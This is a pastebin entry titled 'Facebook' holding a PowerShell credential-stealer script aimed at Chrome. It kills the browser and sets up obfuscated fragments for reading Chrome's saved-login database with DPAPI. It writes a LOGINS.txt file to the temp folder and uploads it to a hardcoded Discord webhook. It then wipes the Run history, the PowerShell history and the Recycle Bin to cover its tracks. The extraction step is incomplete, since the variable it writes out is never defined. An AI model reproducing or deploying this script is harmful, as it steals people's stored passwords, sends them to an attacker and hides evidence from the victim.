Facebook
From asd, 2 Months ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 242
  1. $FileName = "LOGINS.txt"
  2.  
  3. Stop-Process -Name Chrome -ErrorAction SilentlyContinue
  4.  
  5. # Add error handling
  6. $d = Add-Type -ErrorAction Stop -PassThru -AssemblyName System.Security
  7. $p = 'public static'
  8. $g = """)]$p extern"
  9. $i = '[DllImport("winsqlite3",EntryPoint="sqlite3_'
  10. $m = "[MarshalAs(UnmanagedType.LP"
  11. $q = '(s,i)'
  12. $f = '(p s,int i)'
  13. $z = "$env:LOCALAPPDATA\Google\Chrome\User Data"
  14. $u = [Security.Cryptography.ProtectedData]
  15.  
  16.  
  17. $l | Out-File -FilePath "$env:TEMP\$FileName" -Encoding UTF8
  18.  
  19.  
  20. $pathToChrome = 'C:\Program Files (x86)\Google\Chrome\Application\chrome.exe'
  21. Start-Process -FilePath $pathToChrome
  22.  
  23. function Upload-Discord {
  24.     [CmdletBinding()]
  25.     param (
  26.         [parameter(Position=0, Mandatory=$false)]
  27.         [string]$file,
  28.         [parameter(Position=1, Mandatory=$false)]
  29.         [string]$text
  30.     )
  31.  
  32.     $hookurl = "https://discord.com/api/webhooks/1207392478848745542/2S-UVgHK5tfva-9f0wBCnyhkZ6lRVOEuoMRgpjoEaE-Wpg_PnGX1vZfn5gSnkzBr2Tgd"
  33.  
  34.     if (-not [string]::IsNullOrEmpty($text)){
  35.         $Body = @{
  36.             'username' = $env:username
  37.             'content' = $text
  38.         }
  39.         Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)
  40.     }
  41.  
  42.     if (-not [string]::IsNullOrEmpty($file)){
  43.         curl.exe -F "file1=@$file" $hookurl
  44.     }
  45. }
  46.  
  47.  
  48. if (-not [string]::IsNullOrEmpty($FileName)){
  49.     Upload-Discord -file "$env:TEMP\$FileName"
  50. }
  51.  
  52.  
  53. Remove-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Force -ErrorAction SilentlyContinue
  54. Remove-Item -Path (Get-PSreadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
  55. Clear-RecycleBin -Force -ErrorAction SilentlyContinue
  56.  
  57. Exit
  58.